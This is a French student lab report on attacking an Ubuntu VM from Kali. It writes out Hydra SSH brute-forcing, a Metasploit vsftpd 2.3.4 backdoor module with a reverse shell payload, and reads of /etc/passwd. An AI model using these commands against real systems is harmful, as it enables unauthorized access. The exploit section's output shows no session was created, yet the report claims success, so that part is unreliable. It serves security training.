

TP 3.1 — Attaque d'un serveur Linux (Ubuntu)

Introduction

Dans le paysage actuel de la cybersécurité, la gestion des vulnérabilités et la compréhension des vecteurs d'attaque sont des piliers fondamentaux pour tout analyste en centre d'opérations de sécurité (SOC). Ce travail pratique s'inscrit dans le **Chapitre 3 : Tests d'intrusion**, dont l'objectif est de maîtriser la méthodologie offensive pour mieux structurer la défense.

.Objectifs du TP

L'objectif est d'apprendre la méthodologie d'un test d'intrusion : reconnaissance, exploitation et post-exploitation. Nous exploitons ici une faille spécifique (porte dérobée) dans le service de transfert de fichiers VSFTPD version 2.3.4. Avant de lancer une offensive, l'attaquant doit s'assurer que le chemin réseau vers sa cible est libre. C'est la phase de **Reconnaissance Active**.

1. Préparation et vérification de la connectivité

Avant de commencer l'attaque, nous devons nous assurer que les deux machines (l'attaquant et la cible) communiquent correctement.

- **Cible :** Serveur Ubuntu (192.168.56.102)
- **Attaquant :** Kali Linux (192.168.56.38)
- **Action :** Depuis Kali, lançons un ping 192.168.56.102 pour vérifier l'accès.

```
(BEL-ANGE@kali)-[~]
$ ping 192.168.56.102
PING 192.168.56.102 (192.168.56.102) 56(84) bytes of data.
64 bytes from 192.168.56.102: icmp_seq=1 ttl=64 time=2.03 ms
64 bytes from 192.168.56.102: icmp_seq=2 ttl=64 time=1.29 ms
64 bytes from 192.168.56.102: icmp_seq=3 ttl=64 time=1.17 ms
64 bytes from 192.168.56.102: icmp_seq=4 ttl=64 time=0.840 ms
64 bytes from 192.168.56.102: icmp_seq=5 ttl=64 time=0.869 ms
64 bytes from 192.168.56.102: icmp_seq=6 ttl=64 time=1.07 ms
64 bytes from 192.168.56.102: icmp_seq=7 ttl=64 time=0.351 ms
64 bytes from 192.168.56.102: icmp_seq=8 ttl=64 time=0.830 ms
64 bytes from 192.168.56.102: icmp_seq=9 ttl=64 time=1.20 ms
64 bytes from 192.168.56.102: icmp_seq=10 ttl=64 time=0.550 ms
64 bytes from 192.168.56.102: icmp_seq=11 ttl=64 time=0.801 ms
64 bytes from 192.168.56.102: icmp_seq=12 ttl=64 time=1.18 ms
64 bytes from 192.168.56.102: icmp_seq=13 ttl=64 time=1.01 ms
64 bytes from 192.168.56.102: icmp_seq=14 ttl=64 time=1.23 ms
64 bytes from 192.168.56.102: icmp_seq=15 ttl=64 time=1.03 ms
64 bytes from 192.168.56.102: icmp_seq=16 ttl=64 time=0.696 ms
^C
— 192.168.56.102 ping statistics —
16 packets transmitted, 16 received, 0% packet loss, time 15055ms
rtt min/avg/max/mdev = 0.351/1.008/2.025/0.364 ms
```

```

bel-ange@bel-ange:~$ ping 192.168.56.38
PING 192.168.56.38 (192.168.56.38) 56(84) bytes of data.
 64 bytes from 192.168.56.38: icmp_seq=1 ttl=64 time=3.60 ms
 64 bytes from 192.168.56.38: icmp_seq=2 ttl=64 time=1.37 ms
 64 bytes from 192.168.56.38: icmp_seq=3 ttl=64 time=0.884 ms
 64 bytes from 192.168.56.38: icmp_seq=4 ttl=64 time=0.466 ms
 64 bytes from 192.168.56.38: icmp_seq=5 ttl=64 time=0.931 ms
 64 bytes from 192.168.56.38: icmp_seq=6 ttl=64 time=11.9 ms
 64 bytes from 192.168.56.38: icmp_seq=7 ttl=64 time=0.547 ms
 64 bytes from 192.168.56.38: icmp_seq=8 ttl=64 time=1.29 ms
 64 bytes from 192.168.56.38: icmp_seq=9 ttl=64 time=0.943 ms
 64 bytes from 192.168.56.38: icmp_seq=10 ttl=64 time=0.580 ms
 64 bytes from 192.168.56.38: icmp_seq=11 ttl=64 time=1.43 ms
 64 bytes from 192.168.56.38: icmp_seq=12 ttl=64 time=1.34 ms
 64 bytes from 192.168.56.38: icmp_seq=13 ttl=64 time=0.910 ms
 64 bytes from 192.168.56.38: icmp_seq=14 ttl=64 time=1.15 ms
 64 bytes from 192.168.56.38: icmp_seq=15 ttl=64 time=1.25 ms
 64 bytes from 192.168.56.38: icmp_seq=16 ttl=64 time=1.40 ms
 64 bytes from 192.168.56.38: icmp_seq=17 ttl=64 time=0.881 ms
 64 bytes from 192.168.56.38: icmp_seq=18 ttl=64 time=0.647 ms
^C

```

- **Vérification SSH :** Sur la machine Ubuntu, assurons nous que le service SSH est actif avec la commande `sudo systemctl status ssh`.

```

bel-ange@bel-ange:~$ sudo systemctl status ssh
● ssh.service - OpenBSD Secure Shell server
   Loaded: loaded (/usr/lib/systemd/system/ssh.service; enabled; preset: enab>
   Active: active (running) since Mon 2026-04-27 03:20:30 WAT; 16min ago
   Invocation: 2829b44174114e8589df8cc326c7f691
   TriggeredBy: ● ssh.socket
     Docs: man:sshd(8)
           man:sshd_config(5)
   Process: 1287 ExecStartPre=/usr/sbin/sshd -t (code=exited, status=0/SUCCESS)
   Main PID: 1318 (sshd)
     Tasks: 1 (limit: 1879)
    Memory: 1.6M (peak: 2.1M)
       CPU: 70ms
    CGroup: /system.slice/ssh.service
            └─1318 "sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups"

avril 27 03:20:29 bel-ange systemd[1]: Starting ssh.service - OpenBSD Secure Sh>
avril 27 03:20:30 bel-ange sshd[1318]: Server listening on 0.0.0.0 port 22.
avril 27 03:20:30 bel-ange systemd[1]: Started ssh.service - OpenBSD Secure She>
avril 27 03:20:30 bel-ange sshd[1318]: Server listening on :: port 22.

```

2. Partie 1 — Attaque par force brute (Brute force SSH)

L'objectif est d'obtenir l'accès au serveur en testant une liste de mots de passe sur l'utilisateur "bel-ange".

- **Outil utilisé :** Hydra
- **Commande exécuter sur Kali :** `hydra -l bel-ange -P pass.txt ssh://192.168.56.102`

```
(BEL-ANGE@kali)-[~]
└─$ hydra -l bel-ange -t 1 -f -P /usr/share/wordlists/rockyou.txt ssh://192.168.56.102
Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these ** ignore laws a

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-04-27 04:48:19
[DATA] max 1 task per 1 server, overall 1 task, 14344399 login tries (l:l/p:14344399), ~14344399 tries per task
[DATA] attacking ssh://192.168.56.102:22/
[STATUS] 20.00 tries/min, 20 tries in 00:01h, 14344379 to do in 11953:39h, 1 active
[STATUS] 17.00 tries/min, 51 tries in 00:03h, 14344348 to do in 14063:06h, 1 active
[STATUS] 18.00 tries/min, 126 tries in 00:07h, 14344273 to do in 13281:45h, 1 active
^CThe session file ./hydra.restore was written. Type "hydra -R" to resume session.

(BEL-ANGE@kali)-[~]
└─$ nano pass.txt

(BEL-ANGE@kali)-[~]
└─$ hydra -l bel-ange -P pass.txt ssh://192.168.56.102
Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these ** ignore laws a

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-04-27 05:09:59
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 4 tasks per 1 server, overall 4 tasks, 4 login tries (l:l/p:4), ~1 try per task
[DATA] attacking ssh://192.168.56.102:22/
[22][ssh] host: 192.168.56.102 login: bel-ange password: 2006
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-04-27 05:10:15
```

- **Interprétation :** le mot de passe est trouvé, Hydra l'affiche. Cela prouve qu'un attaquant peut obtenir un accès légitime sans exploiter de faille logicielle, simplement à cause d'un mot de passe faible.
- **Exploitation :** Connectons-nous via SSH avec les identifiants trouvés : `ssh bel-ange@192.168.56.102`

```
(BEL-ANGE@kali)-[~]
└─$ ssh bel-ange@192.168.56.102
The authenticity of host '192.168.56.102 (192.168.56.102)' can't be established.
ED25519 key fingerprint is: SHA256:XqHm4ma0Khfoz3dJd4UbC2GwWeEpoLkakUf46Td9gA4
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.56.102' (ED25519) to the list of known hosts.
bel-ange@192.168.56.102's password:
Welcome to Ubuntu 25.04 (GNU/Linux 6.14.0-15-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:    https://landscape.canonical.com
 * Support:       https://ubuntu.com/pro

0 mise à jour peut être appliquée immédiatement.

The list of available updates is more than a week old.
To check for new updates run: sudo apt update
```

- **Observation :** Une fois connecté, explorons le système avec les commandes `whoami`, `pwd`, et `ls`.

```
bel-ange@bel-ange:~$ whoami
bel-ange
bel-ange@bel-ange:~$ pwd
/home/bel-ange
bel-ange@bel-ange:~$ ls
Bureau Documents Images Modèles Musique Public snap Téléchargements Vidéos
bel-ange@bel-ange:~$
```

3. Partie 2 — Exploitation d'un service vulnérable (vsftpd)

Ici, on exploite une faille de sécurité spécifique dans un logiciel installé.

- **Préparation sur Ubuntu :** Installons une version vulnérable du service FTP : `sudo apt install vsftpd -y`.

```
bel-ange@bel-ange:~$ sudo apt install vsftpd -y
Installation de :
  vsftpd

Sommaire :
  Mise à niveau de : 0. Installation de : 1Supprimé : 0. Non mis à jour : 383
  Taille du téléchargement : 131 kB
  Espace nécessaire : 333 kB / 15,5 GB disponible

Réception de : 1 http://archive.ubuntu.com/ubuntu plucky/main amd64 vsftpd amd64
  3.0.5-0.1 [131 kB]
131 ko réceptionnés en 2s (54,8 ko/s)
Préconfiguration des paquets...
Sélection du paquet vsftpd précédemment désélectionné.
(Lecture de la base de données... 162632 fichiers et répertoires déjà installés.
)
Préparation du dépaquetage de .../vsftpd_3.0.5-0.1_amd64.deb ...
Dépaquetage de vsftpd (3.0.5-0.1) ...
Paramétrage de vsftpd (3.0.5-0.1) ...
Created symlink '/etc/systemd/system/multi-user.target.wants/vsftpd.service' →
'/usr/lib/systemd/system/vsftpd.service'.
/usr/lib/tmpfiles.d/vsftpd.conf:1: Line references path below legacy directory /
var/run/, updating /var/run/vsftpd/empty → /run/vsftpd/empty; please update the
tmpfiles.d/... file accordingly
```

- **Outil utilisé :** Metasploit
- **Étapes sur Kali :**
 1. Lançons Metasploit : `msfconsole`

```
(BEL-ANGE@kali)-[~]
$ msfconsole
Metasploit tip: Add routes to pivot through a compromised host using route
add <subnet> <session_id>

      .:ok000kdc'      'cdk000ko:.
      ,x0000000000000c      c000000000000x.
      :00000000000000k,      ,k00000000000000:
      '000000000kkk00000: :00000000000000000
      o00000000. ,o000o0000l. ,00000000o
      d00000000. ,c00000c. ,00000000x
      l00000000. ;d; ,00000000l
      ,00000000. ;j ; ,00000000.
      c0000000. .00c. 'o00. ,0000000c
      o0000000. .0000. :0000. ,000000o
      l00000. .0000. :0000. ,00000l
      ;0000' .0000. :0000. ;0000;
      .d00o .0000o000x0000. x00d.
      ,k0l .0000000000000. .d0k,
      :kk; .0000000000000.c0k:
      ;k00000000000000k:
      ,x000000000000x,
      .l0000000l.
      ,d0d,
      .
      +
      =[ metasploit v6.4.116-dev ]
+ -- --=[ 2,623 exploits - 1,326 auxiliary - 1,710 payloads ]
+ -- --=[ 432 post - 49 encoders - 14 nops - 10 evasion ]

Metasploit Documentation: https://docs.metasploit.com/
The Metasploit Framework is a Rapid7 Open Source Project
```

2. Cherchons l'exploit : search vsftpd

```
msf > search vsftpd

Matching Modules

#  Name                                     Disclosure Date  Rank    Check  Description
-  -
0  auxiliary/dos/ftp/vsftpd_232             2011-02-03      normal Yes    VSFTPD 2.3.2 Denial of Service
1  exploit/unix/ftp/vsftpd_234_backdoor     2011-07-03      excellent Yes    VSFTPD v2.3.4 Backdoor Command Execution

Interact with a module by name or index. For example info 1, use 1 or use exploit/unix/ftp/vsftpd_234_backdoor
```

3. Utilisons le module trouvé : use exploit/unix/ftp/vsftpd_234_backdoor

```
msf > use exploit/unix/ftp/vsftpd_234_backdoor
[*] Using configured payload cmd/linux/http/x86/meterpreter_reverse_tcp
msf exploit(unix/ftp/vsftpd_234_backdoor) >
```

4. Configurons la cible : set RHOSTS 192.168.56.10

```
[*] Exploit completed, but no session was created.
msf exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.56.102
RHOSTS => 192.168.56.102
```

5. Lançons l'attaque : run ou exploit

```
msf exploit(unix/ftp/vsftpd_234_backdoor) > exploit
[*] Started reverse TCP handler on 192.168.56.38:4444
```


- **Résultat :** Tapons `whoami` pour vérifier notre accès (généralement `root`).

```
msf exploit(unix/ftp/vsftpd_234_backdoor) > whoami
[*] exec: whoami
BEL-ANGE
```

4. Partie 3 — Comprendre la compromission (Post-exploitation)

Une fois à l'intérieur du système, l'attaquant analyse les données sensibles.

- **Consultation des utilisateurs :** Exécutons `cat /etc/passwd` pour voir la liste des comptes du système.

```
bel-ange@bel-ange:~$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
systemd-timesync:x:996:996:systemd Time Synchronization:/:/usr/sbin/nologin
dhcpcd:x:100:65534:DHCP Client Daemon,,,:/usr/lib/dhcpcd:/bin/false
messagebus:x:995:995:System Message Bus:/nonexistent:/usr/sbin/nologin
syslog:x:101:101::/nonexistent:/usr/sbin/nologin
```

- **Identification du système :** Exécutons `uname -a` pour connaître la version précise du noyau et préparer d'autres attaques (élévation de privilèges).

```
bel-ange@bel-ange:~$ uname -a
Linux bel-ange 6.14.0-15-generic #15-Ubuntu SMP PREEMPT_DYNAMIC Sun Apr 6 15:05:05 UTC 2025 x86_64 x86_64 x86_64 GNU/Linux
```

5. Conclusion

L'exploitation de la backdoor VSFTPD 2.3.4 illustre parfaitement la phase d'**Accès Initial**. Pour un analyste SOC, la détection de ce type d'attaque se ferait par la surveillance de connexions réseau inhabituelles sur le port **6200** ou par la détection de caractères suspects (comme le smiley :)) dans les logs du serveur FTP.